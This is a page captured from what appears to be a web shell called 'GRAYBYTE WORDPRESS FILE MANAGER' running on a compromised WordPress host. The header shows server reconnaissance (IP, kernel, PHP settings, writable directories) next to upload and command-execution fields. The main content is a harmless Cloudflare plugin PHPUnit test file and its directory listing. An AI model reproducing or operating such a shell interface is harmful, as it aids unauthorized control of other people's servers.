GRAYBYTE WORDPRESS FILE MANAGER1311

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/Test/API/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/Test/API//AbstractAPIClientTest.php
<?php

namespace CF\API\Test;

use CF\Integration\DefaultIntegration;
use CF\Integration\DefaultLogger;
use CF\Integration\DataStoreInterface;
use CF\Integration\IntegrationAPIInterface;
use CF\API\HttpClientInterface;
use \CF\API\Request;
use \CF\API\AbstractAPIClient;
use \CF\Integration\DefaultConfig;

class AbstractAPIClientTest extends \PHPUnit\Framework\TestCase
{
    protected $mockAbstractAPIClient;
    protected $mockAPI;
    protected $mockClient;
    protected $mockConfig;
    protected $mockDataStore;
    protected $mockLogger;
    protected $mockRequest;

    const TOTAL_PAGES = 3;
    const MOCK_RESPONSE = [
        'result' => [],
        'result_info' => [
            'total_pages' => self::TOTAL_PAGES
        ]
    ];

    public function setup(): void
    {
        $this->mockRequest = $this->getMockBuilder(Request::class)
            ->disableOriginalConstructor()
            ->getMock();

        $this->mockClient = $this->getMockBuilder(HttpClientInterface::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockConfig = $this->getMockBuilder(DefaultConfig::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockConfig->method('getValue')->willReturn(true);
        $this->mockAPI = $this->getMockBuilder(IntegrationAPIInterface::class)
            ->getMock();
        $this->mockDataStore = $this->getMockBuilder(DataStoreInterface::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockLogger = $this->getMockBuilder(DefaultLogger::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockIntegration = new DefaultIntegration($this->mockConfig, $this->mockAPI, $this->mockDataStore, $this->mockLogger);

        $this->mockAbstractAPIClient = $this->getMockBuilder(AbstractAPIClient::class)
            ->setConstructorArgs([$this->mockIntegration])
            ->getMockForAbstractClass();
        $this->mockAbstractAPIClient->setHttpClient($this->mockClient);
    }

    public function testGetPaginatedResultsRequestsAllPages()
    {
        $this->mockRequest->method('getMethod')->willReturn('GET');
        $this->mockClient->expects($this->exactly((self::TOTAL_PAGES - 1)))->method('send')->willReturn([
            'result' => []
        ]);
        $this->mockAbstractAPIClient->getPaginatedResults($this->mockRequest, self::MOCK_RESPONSE);
    }

    public function testGetPaginatedResultsOnlyExecutesForGET()
    {
        $methods = ['DELETE', 'PUT', 'PATCH', 'POST'];
        $this->mockClient->expects($this->never())->method('send');

        foreach ($methods as $method) {
            $this->mockRequest = $this->getMockBuilder(Request::class)
                ->disableOriginalConstructor()
                ->getMock();
            $this->mockRequest->method('getMethod')->willReturn($method);
            $this->mockAbstractAPIClient->getPaginatedResults($this->mockRequest, self::MOCK_RESPONSE);
        }
    }

    public function testGetPaginatedResultsOnlyExecutesForPagedResults()
    {
        $this->mockClient->expects($this->never())->method('send');
        $this->mockAbstractAPIClient->getPaginatedResults($this->mockRequest, []);
    }

    public function testGetPathReturnsPath()
    {
        $endpoint = 'http://api.cloudflare.com/client/v4';
        $path = '/zones';
        $this->mockRequest->method('getUrl')->willReturn($endpoint . $path);
        $this->mockAbstractAPIClient->method('getEndpoint')->willReturn($endpoint);
        $this->assertEquals($path, $this->mockAbstractAPIClient->getPath($this->mockRequest));
    }

    public function testShouldRouteRequestReturnsTrueForValidRequest()
    {
        $endpoint = 'http://api.cloudflare.com/client/v4';
        $url = $endpoint . '/zones';
        $this->mockRequest->method('getUrl')->willReturn($url);
        $this->mockAbstractAPIClient->method('getEndpoint')->willReturn($endpoint);
        $this->assertTrue($this->mockAbstractAPIClient->shouldRouteRequest($this->mockRequest));
    }

    public function testShouldRouteRequestReturnsFalseForInvalidRequest()
    {
        $this->mockRequest->method('getUrl')->willReturn('http://api.cloudflare.com/client/v4/zones');
        $this->mockAbstractAPIClient->method('getEndpoint')->willReturn('https://api.cloudflare.com/host-gw.html');
        $this->assertFalse($this->mockAbstractAPIClient->shouldRouteRequest($this->mockRequest));
    }

    public function testSendAndLogCallsLogger()
    {
        $this->mockLogger->expects($this->once())->method('error');
        $this->mockAbstractAPIClient->sendAndLog($this->mockRequest);
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
inteuuod / inteuuod
0644
AbstractAPIClientTest.php
4.584 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
AbstractPluginActionsTest.php
6.627 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
ClientTest.php
3.995 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
DefaultHttpClientTest.php
0.588 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
HostTest.php
4.345 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
PluginTest.php
3.246 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF